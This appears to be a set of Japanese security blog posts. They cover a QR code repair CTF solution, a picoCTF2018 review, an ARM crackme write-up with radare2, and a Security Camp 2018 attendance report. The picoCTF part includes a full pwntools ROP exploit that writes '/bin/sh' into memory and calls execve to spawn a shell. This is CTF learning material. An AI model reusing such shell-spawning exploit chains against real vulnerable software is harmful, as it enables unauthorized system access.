    011001001100111010111100

②
    010000010100110011110000
xor 011000011000011000011000 <-mask
-------------------------------------
    001000001100101011101000

得られたbit列を精査して行きます。QRコードでは最初の4bitはモードを表します。数字モードなら0001、英数字モードなら0010、8bitモードなら0100、漢字モードなら1000です。①は0110、②は0010なので①の可能性が絶たれたと同時に今回は英数字モードであることがわかります。②と特定できましたが、他の列も特定するためにまだゴリゴリデコードして行きます。4bit以降に続くbitにはデータの文字数の情報が入っています。英数字モードだとこれを9bitで表すそうです。②の5bit目以降を見ると000011001であり、これを10進数に直すと25です。つまりデータ総数は25文字であることがわかります。おお!徐々に読めてきていますねぇ。感動します。

この文字数に続くbitから生のデータです。英数字モードでは11bit区切りでデータが格納されています。20,21行目の残りのbitも11bitなのでデコードして行きましょう。英数字モードではデータの格納がかなり特殊で、11bitのデータに2文字の情報が入っています。11bitのデータを10進数に直して、それを45で割った商が1文字目、余りが2文字目という構造をしています。8bitモードだと普通のasciiに準拠しているのですが、英数字モードは特殊な変換が必要なのですね。以下のリンクのテーブルを参照してデコードしましょう。

http://www.swetake.com/qrcode/qr_table1.html

今回の続きは01011101000なので、10進数に直すと744です。744=16*45+24で、テーブルで16と24のところを引くと、出てくる2文字”GO”であることがわかります。
おおお!QRコードをカメラなしで読めています!ゾクゾクしますね!この調子です!

続く18,19行目も上記同様にゴリゴリ読んでください(書くの疲れた)。18,19行目になりうるのは3つに絞られているので、6通りの組み合わせをそれぞれデコードすると"GO"に続く文字であることから、どれが正しいかわかると思います。

これで16,18,19,20行目が特定できたので、あとは2x2x2の8通りに持ち込むことができました。まだまだゴリ押ししても構いませんが、これくらいに絞れたら全通り試せる数字になってきたので僕は全通り試して、実際にカメラに読み込ませました(←!?)。解ければいいんですよ解ければね。

ということで以下が修復されたQRコードです!!

f:id:kam1tsur3:20181127131945p:plain

お疲れ様でした〜。

picoCTF2018振り返り+ちょっとwriteup

picoCTF2018に参加しました。中高生向け、初心者向けの問題もあるということで、チームでは参加せず、個人で参加しました。
全然知らないwebとかのジャンルに触れるいい機会ですしね。

結果

f:id:kam1tsur3:20181017193609p:plain

f:id:kam1tsur3:20181017193620p:plain

こんな感じでした。web,cryptoはさっぱりです。revはz3を使う問題で止まってしまいました。z3使ったことないので、これから使いこなせるように努めます。pwnは見事にheap問題で止まりました。1問だけ解けたのですが、復習します。

hintがwriteupみたいな問題も多くあったので、2つだけ気になった問題のwriteupを書きます。

Writeup

script me - Points: 500 - (Solves: 502) General Skills

問題サーバーに繋ぐと以下のような返答が

Rules:
() + () = ()()                                      => [combine]
((())) + () = ((())())                              => [absorb-right]
() + ((())) = (()(()))                              => [absorb-left]
(())(()) + () = (())(()())                          => [combined-absorb-right]
() + (())(()) = (()())(())                          => [combined-absorb-left]
(())(()) + ((())) = ((())(())(()))                  => [absorb-combined-right]
((())) + (())(()) = ((())(())(()))                  => [absorb-combined-left]
() + (()) + ((())) = (()()) + ((())) = ((()())(())) => [left-associative]

Example: 
(()) + () = () + (()) = (()())

Let's start with a warmup.
(()()()) + ((())()) = ???

最後の行のような問題が5問出題されます。解いて行くにつれ問題が難しくなり4問目くらいからは目ではとても追えないようになるので、scriptを書きます。

以下はその簡単なscriptです。pwnではないですが、通信は慣れているpwntoolの雛形を使っています。めちゃくちゃ見辛いですが、demention関数では各項の次元?(括弧の中に何個括弧が内包されているか)を計算しています。analysis関数では受け取った式を各項に分割しdemention関数に通し、順番に次元を比べ、その次元によって連結のやり方を変え、文字列を足し合わせています。

from pwn import *
import re

context(os='linux', arch='i386')
context.log_level = 'debug'

HOST = "2018shell1.picoctf.com"
PORT = 22973

def demention(fsplit):
    max_d = 0
    dm = 0
    for i in range(len(fsplit)):
        if(fsplit[i] == '('):
            dm += 1
            if(max_d < dm):
                max_d = dm
        elif(fsplit[i] == ')'):
            dm -= 1
    return max_d

def analysis(formula):
    fsplit = re.split(' ', formula)
    d_list = []
    f_list = []
    for i in range(0, len(fsplit)-1, 2):
        dm = demention(fsplit[i])
        f_list.append(fsplit[i])
        d_list.append(dm)
    ans = f_list[0]
    for i in range(len(d_list)-1):
        if(d_list[i] == d_list[i+1]):
            ans = ans + f_list[i+1]
        elif(d_list[i] > d_list[i+1]):
            ans = ans[:len(ans)-1]+f_list[i+1] + ')'
            d_list[i+1] = d_list[i]
        elif(d_list[i] < d_list[i+1]):
            ans = '('+ans+f_list[i+1][1:]
    return ans

conn = remote(HOST, PORT)

conn.recvuntil('warmup.\n')

for i in range(5):
    formula = conn.recvline()
    print "FORMULA: " + formula
    conn.recvuntil('> ')
    ans = analysis(formula)
    ans += '\n'
    conn.send(ans)
    conn.recvline()
    conn.recvline()
    conn.recvline()

conn.interactive()

can-you-gets-me - Points: 650 - (Solves: 231) Binary Exploitation

大会のサイトのShellタブからアカウント固有のshellが起動するのですが、その環境だとpwntoolがうまく使えなかったので、ローカルからsshして問題バイナリを起動してみたいな感じで解きました。典型的なrop問題らしいです。asciiアーマーもなくnullバイトを送ってもちゃんと送れるのでユルユルです。rp++を使って問題バイナリのretアドレスになりうるアドレスを調べました。

ただコードが本当に汚い。payloadにnullバイト入れたくないですよね。本当にセンスがない。xor命令のガジェットはいくらでもあるので楽をしてしまいました。解いてたのがコンテスト終盤で早く解きたかったので許してください。

以下は汚いコード。

from pwn import *

context(os='linux', arch='i386')
context.log_level = 'debug'

conn = ssh(host='2018shell1.picoctf.com', user='kam1tsur3', password='****')
conn.set_working_directory('/problems/can-you-gets-me_4_******')
pro = conn.process('./gets')

int_0x80 = 0x806cc25
data = 0x80ea060
pop_ebx = 0x80481c9
pop_ecx = 0x80de955
pop_edx = 0x806f02a
pop_eax = 0x80b81c6
mov_edx_eax = 0x80549db

payload = "A"*0x1c
payload += p32(pop_edx)
payload += p32(data)
payload += p32(pop_eax)
payload += "/bin"
payload += p32(mov_edx_eax)
payload += p32(pop_edx)
payload += p32(data+4)
payload += p32(pop_eax)
payload += "/sh\x00"
payload += p32(mov_edx_eax)
payload += p32(pop_edx)
payload += p32(data+8)
payload += p32(pop_eax)
payload += p32(data)
payload += p32(mov_edx_eax)
payload += p32(pop_edx)
payload += p32(data+12)
payload += p32(pop_eax)
payload += "\x00\x00\x00\x00"
payload += p32(mov_edx_eax)
payload += p32(pop_ecx)
payload += p32(data+8)
payload += p32(pop_ebx)
payload += p32(data)
payload += p32(pop_edx)
payload += "\x00\x00\x00\x00"
payload += p32(pop_eax)
payload += p32(0xb)
payload += p32(int_0x80)
payload += "\n"

pro.recv(100)
pro.send(payload)

pro.interactive()

まとめ(ポエム)

なぜ上記の問題を選んだかというと、他の方の解法がみたいと思ったからです。自分の書いたコードがすごい汚く冗長性があると感じたのでもし他の方のスマートな解法があれば教えて欲しいです(picoCTFはレベル的にあまりwriteupを書く風潮にない?)。最近情報発信について考えていて、僕の以前のwriteupには解けなかった方のためにwriteupを書きますみたいなことを書いていたのですが、それってどうなのかなと考える節があり、そもそもCTFのwriteupとかって、俺はこうやって解いたけど、おまいらどんな感じで解いたん?ぐらいのものなんじゃないかと思い、そういう議論からこの人すげーなと思ってくれたり自分に興味を持ってくれる人が増え、技術コミュニティが広がって行くのかなと思いました。まあそもそもpicoCTFは中高生向けのCTFで、ハイレベルな議論は生まれるようなものではないし、僕もまだそういうハイレベルな問題は解けないのでクソイキリにすぎませんが。。。精進します。。。

CyberRebeatCTF crackme writeup

はじめに

CyberRebeatCTFに参加したので、その中で僕の解いたBinaryジャンルの問題のcrackmeのwriteupを書いていこうと思います。すでに全完してるような方がwriteupを出しているのであまり需要がないかと思ったのですが、ここでは手順を事細かに書いていこうと思います。

使ったツールはradare2です。ダウンロード方法や設定などはハリネズミ本に、使い方等はググれば先人の良ブログがたくさんあるのでそちらを参照してください。僕もまだ全然使いこなせていませんが、基礎操作さえできれば問題は解けるようになっています。

crackme(難易度100)

fileコマンド
f:id:kam1tsur3:20180909173115p:plain
動的リンク、not stripped、やった!と思ったのですが、アーキテクチャがARMでした。

x86系じゃないアセンブリはあまり読んだことがないのですが、、、とりあえずradare2に通してみます。
f:id:kam1tsur3:20180909173124p:plain
not strippedなのでmain関数に飛び、visualモードに変更しpを入力しアセンブリを表示(visualモードから戻るにはqを入力)。ちなみにvisualモードでは画面のスクロールはvimと同様jとkのキーで行います。main関数はこんな感じでした。
f:id:kam1tsur3:20180909174259p:plain

うーん何となくしかわからんなぁ。ということでARMアーキテクチャでググり、各種命令の意味、各レジスタの名称、引数の渡し方などを軽く理解します。ARMでは第1引数から順にr0,r1,r2...と格納しているみたいです。またpcレジスタx86系でいうeip)が現在の命令の2個先を指していることがわかりました。それを踏まえてもう一度逆アセンブルを眺めましょう。

気になるところは0x10574から比較分岐を行なっているところですね。r3 > 1ならジャンプをしています。前の命令も見てみると[fp-0x8]にargcを、[fp-0xc]にargvを格納していてるので0x10574ではコマンドライン引数によって分岐しています。コマンドライン引数が1以下だと0x1057cから続くエラーメッセージを出力してmain関数の最後に飛んでいます。コマンドライン引数が2以上だと0x105a0に飛んでいますね。

0x105a0からの流れではcheck(argv[1])を行い、その返り値(r0に格納されている)が0だとputs("Correct")、非0だとputs("Wrong...")を行いmain関数を終了しています。main関数はこんなところでしょうか。大事なところはコマンドライン引数の値をcheck関数に渡して返り値を0になるようにすればいいということですね。

visualモードでqを入力してcheck関数に飛びまたvisualモードに戻ります。
f:id:kam1tsur3:20180909181918p:plain

check関数はこんな感じです。

f:id:kam1tsur3:20180909182002p:plain

main関数が読めればcheck関数も読めると思います。0x1050cからの流れからもわかりますが、[fp-0x8]をカウンターとして使っていて、比較するobj.flag_encrypted_lenがさす中身は0x17であるので0x17回ループを回しています。0x104dcから始まるループの中ではloc._d_15というポインタ型の変数のさすアドレスから1文字ずつ取ってきて0x104ec〜0x104f4の処理を行い、また同じ場所に戻しています。ループが終わったら操作したloc._d_15の中身と引数である、main関数のargv[1]をstrncmpで比較しその返り値をそのままcheck関数の返り値としています。

obj.flag_encrypted_lenとかloc._d_15の内容ってどこ見たらわかるの?という人はradare2の赤いコメントを見て見ましょう。0x104dcや0x1051cの横のコメントをみるとloc._d_15の中身は0x21030、obj.flag_encrypted_lenの中身は0x21048であることがわかります。

えーでもこれだとツールのコメントなかったら解けないじゃんかという方向けにもう少し補足を加えます。loc._d_15で考えると、0x104dcと0x104f8の命令を見てください。同じ命令なのにも関わらず機械語だと0x70209fe5と0x54209fe5と1バイト目が違うことがわかります。ここがポイントで、最初の1バイトは現在のpcレジスタの値に加えるオフセットのことです。なので0x104dcの時のpcレジスタの値は先述の通り2命令先なので0x104e4、これに0x70を加えると0x10554
であります。同様に0x104f8の命令の時も計算すると0x10554となります。同じ考え方をobj.flag_encrypted_lenに適用するとloc._d_15は0x10554に、obj.flag_encrypted_lenは0x10558にあるということがわかります。そのアドレスを見てみると
f:id:kam1tsur3:20180909191419p:plain
はい!それぞれradare2のコメント通りの値が入っていますね!(リトルエンディアンを忘れずに)
どちらもポインタ型として使われているのでそれらのさすアドレスに飛んで見ましょう(戻ってs 0x****0で飛べます)
f:id:kam1tsur3:20180909191736p:plain
ありましたぁ。ここはデータが格納されているだけなので、横の逆アセンブルは気にしないでくださいね。loc._15_dの指す文字列とループの処理がわかったのでCでコードを書いて見ます。

/*crackme.c*/
#include <stdio.h>

int main()
{
    char en_flag[23] = {0xb0, 0xa1, 0xb0, 0xa7, 0xb5, 0x88, 0x9b, 0x96,
                        0x9f, 0x9f, 0x9c, 0xac, 0xc7, 0x81, 0x9e, 0xac,
                        0x84, 0x9c, 0x81, 0x9f, 0x97, 0xd2, 0x8e};

    int i;
    char tmp;
    for(i = 0; i < 23; i++){
        tmp = en_flag[i];
        tmp ^= 0xc;
        tmp ^= 0xff;
        en_flag[i] = tmp;
    }
    printf("%s¥n", en_flag);
}

f:id:kam1tsur3:20180909193209p:plain

わーい

まとめ

  • 本当はBinary問題3問全部writeup書こうと思ってたんですが、個人的に書きたかったcrackmeから書き始めたら疲れたのでこれだけにします。もしかしたら追記するかもです。
  • 同学科の同期と3人で参加しました。チームとしては27位でBinary以外はほとんど触ってないので2人がよく頑張ってくれました。
  • webわからんすぎるのはどうにかしたいですが、何か得意なジャンルを作っておきたいのでもう少しrev,pwnを解き続けたいと思います。このレベルなら解けるようになってきましたが、大きい大会となるとwarmupすら解けないのはしんどいです。
  • キャン18の参加者が何人か全完していて、はえ〜という気持ちです。
  • 問題のレベルが初心者向けが多く楽しめました。運営の方ありがとうございました。

セキュリティキャンプ 全国大会2018に参加しました

キャンプ中にも情報発信が大事だと学んだので早速ブログに残します。来年以降の参加を検討してる方や、キャンプの関係者に向けて、一参加者の感想として参考になれば幸いです。

僕が参加したのはAトラックの脆弱性マルウェア解析トラックです。

応募用紙

kam1tsur3.hatenablog.com 応募用紙が見たい方はどうぞ。原文を載せているので非常に見づらいですが勘弁してください。黒歴史なのは重々承知ですが、これも成長の過程だと割り切って後悔公開してます。

事前準備

講義によっては事前課題がありました。テスト期間とかぶったりとやっているときは大変だと感じたのですが、いざ講義を受けてみると事前課題があった方が理解が深まったので、課題はありがたいものだと思います。

あと名刺は必須ですよ。

1日目

到着



ぼっち参戦だったので、端っこにいたら早速名刺を持って話しかけてくれた方がいたので本当に安心しました。

f:id:kam1tsur3:20180821003331j:plain:w500

唯一撮り納めたご飯なので載せさせてください。

セキュリティ基礎

セキュリティだけでなく、いろんな場面で発生する「失敗」についてグループで討論しました。内容が抽象的であったこともあって最初はなかなか話が進まなかったのですが、具体例を交え話していくと議論が進んでいったように感じました。

特別講義(1)

OSCの方のOSCの紹介、情報発信していくことの大切さについてのお話を聞きました。

特別講義(2)

法律の観点から見たニュースでも取り上げられている仮想通貨の話や、未成年の犯罪などについてのお話を聞きました。唐突な野獣先輩ネタにツボってしまい僕は最前列で5分くらい笑いをこらえるのに必死だったので、それ以降覚えていません(は?)。挙手でどのラインからが刑法に触れるのかいうアンケートもしたのですが、僕を含め多くの参加者の人も理解が曖昧であったことが印象的でした。

LT大会

本当に面白かったです。改めてここはすごい場所なんだと実感した瞬間でもありました。中でもWiiフィボナッチ数列計算させてた方やCodeGolfの方は内容も話し方も面白く、僕もいつかあのようなユニークなLTができるといいなと思いました。

2日目

ビュッフェ形式の朝食のフレンチトーストが絶妙すぎて2斤くらい食べました。

AトラックではA1~A3までが一つの講義でした。

A1~3 インシデントレスポンスで攻撃者を追いかけろ

事前課題が7週間に渡って出された講義です。内容は、攻撃にあった社内ネットワークのマシンのイベントログ、コマンド実行履歴、動的解析から攻撃者をあぶり出すというもので、事前課題ではWindowsのシステム、ツール群を学習し、講義ではその内容を確認するようなCTFを行いました。あまりいい成績は残せませんでしたが、とても面白かったです。マルウェアに感染したマシンのイメージファイルのログがちゃんと時系列に沿っていて、資料がとても作り込まれていたものでした。話を聞くと1ヶ月くらいかけて実際に攻撃を行いそのイメージファイルを取っていたそうです(逆に後からログを作るのは難しいんだとか)。

3日目

特大イベント発生

尊敬する方にエレベーター内で遭遇しステッカーをもらっちゃいました。自分は名刺を持ち歩いてなかったので渡せなかったのが後悔です。

3日目から選択講義が始まりました。

A4 IN-DEPTH STATIC MALWARE ANALYSIS

講義では主にIDAを使った静的解析を行いました。静的解析の際のIDAの便利機能などの紹介や、マルウェアの中で呼び出される関数が何のWindowsAPIを呼びどういった挙動をするのかなどを調べていきました。個人的にはエンコードされたファイルシステムの文字列をデコードする関数を、xorが使われる、呼び出される回数が多いといった特徴から特定し、実際にデコードする様子が見れたのが面白かったです。

E5 Linux カーネル脆弱性入門

とても有名なLinuxカーネル開発者の講師の方による講義でした。Linuxシステムコールの基礎、DirtyCow、slabを利用した特権昇格についてのお話を聞きました。正直この講義が一番難しかったです。それに加え、情けないことに環境設定の段階でミスってしまったので講義中には用意してもらった課題は終わりませんでした。講義ファイルを持ち帰って復習しましたが、他人に説明できるかと言われると怪しいレベルの理解なので、また見返す必要があります。自分の弱さを痛感したのと見学者がめちゃくちゃ多かったので、すごい人の講義を受けているのだなと肌で感じました。

4日目

朝がつらくなってきて、朝ごはんに遅れたらフレンチトーストが残り僅かでした。。😭😭😭

D6 組込みリアルタイムOSとIoTシステム演習 ~守って!攻めて!ロボット制御バトルで体験する組込みセキュリティ~

GR-PEACHというハードウェアをhttp通信によってブラウザから操作するという内容です。事前課題では基礎操作を一通り学習しました。当日は1チーム2、3人の計5グループに分かれて競技を行いました。競技はGR-PEACHを操作して箱を持ち帰る、搭載されたカメラで写真をとる、他人のロボットの撮った写真を盗むなどがポイントになるルールで、競技は2回に分けて行われました。僕のチームの他二人はロボットに精通した方、ハニーポットで遊ぶネットワークの方と強いお二人だったので、攻撃と防御は二人に任せて僕はパイロットになりました😊。パイロットをやっていると攻撃されてるときのブラウザの処理が激重になるのが実感できました。

僕たちのチームはまずhttpのポートがデフォルトの80番になっていたのを変更したことと、2回目の競技では同じアクセスポイントを使用するという縛りがなくなったので、チームのPCをアクセスポイントとし攻撃の対策をしました(後者は結局ロボットとの通信がうまくいかず、共通のアクセスポイントを使用しました)。競技中はarp-scanで相手チームのロボットのIPを割り出し、nmapでhttpポートを探しひたすらDoS攻撃をするというもので、実際正常に動いているロボットは僕のチームを含め2つくらいしかなかったのでうまく攻撃ができていたのだと思います。結果はちゃっかり優勝してしまいました。

f:id:kam1tsur3:20180821191932j:plain:w400

これは僕たちのロボット



A7 本当にわかるSpectreとMeltdown

お正月に世間を賑わせたCPUの脆弱性についての講義でした。はじめに脆弱性についての説明があり、そのあとは実際にSpectreのPoCの一部が穴埋めになっているので、そこを自分で考えて埋めて、手元で動かしてみるというものでした。講師の方もおっしゃっていたのですが、脆弱性2のBTBがとても難しく、何回かスライドを読んだのですが、やろうとしていることはわかるのですが、該当するPoCの部分は正直理解できていません。最終的には講師のかたに答えを教えてもらい動かしてみると、読めないはずの領域が、ところどころ抜けていたもののメモリリークができました。個人的にはこの講義が一番楽しかったです。サイドチャネル攻撃ってなんかヤバい雰囲気があって魅力的ですよね。講師の方にあとで話を聞くと、世に回っているPoCはもっと複雑で難しいらしく、受講生のためにわかりやすくなるように色々手を加えて頂いたそうです。僕たちは本当においしいとこだけ頂いたんですね。ありがとうございます。

5日目

卒業

集中コースはそれぞれのトラックから代表者が成果発表を行いました。ジュニアゼミの中学生も発表していてみなさんとても面白かったです。印象的だったのはやはりJSエンジンを作った方とセルフコンパイラを作った方ですかね。難しい言葉を使わず、図やデモで説明していたのであの場にいた誰もが楽しめた発表だったと思います(何様)。

プレゼント

いろんな協賛企業の方からたくさんの記念品をもらいました。全部載せるのはしんどいので代表して一つ載せておきますね。

f:id:kam1tsur3:20180821200335j:plain:w400

これは大変なモチベーションです。

まとめ

本当に楽しい5日間でした。参加前は技術的にも不安で、友達できるかな。。。とか考えていたのですが、いざ参加したらとてもいい雰囲気のおかげで不安はすぐに消えました。反省点としてはいい意味で講師を裏切れなかったことです。例えばA1~3の講義のCTFでは誰も解いていない問題が多く残っていて、講師陣も「どんどん解いて〜」と余裕だったことや、D6の講義では講師の方はアクセスポイント乗っ取ることも想定してhtmlファイルを置いていたそうなのですが、結局誰もそこまで到達しなかったことなど、講師陣を驚かすようなことができたら気持ちよかっただろうなという感じです。まあこれは完全に自分の技術力、アイデアが乏しいのが原因なので、これから圧倒的成長をしていきたいです。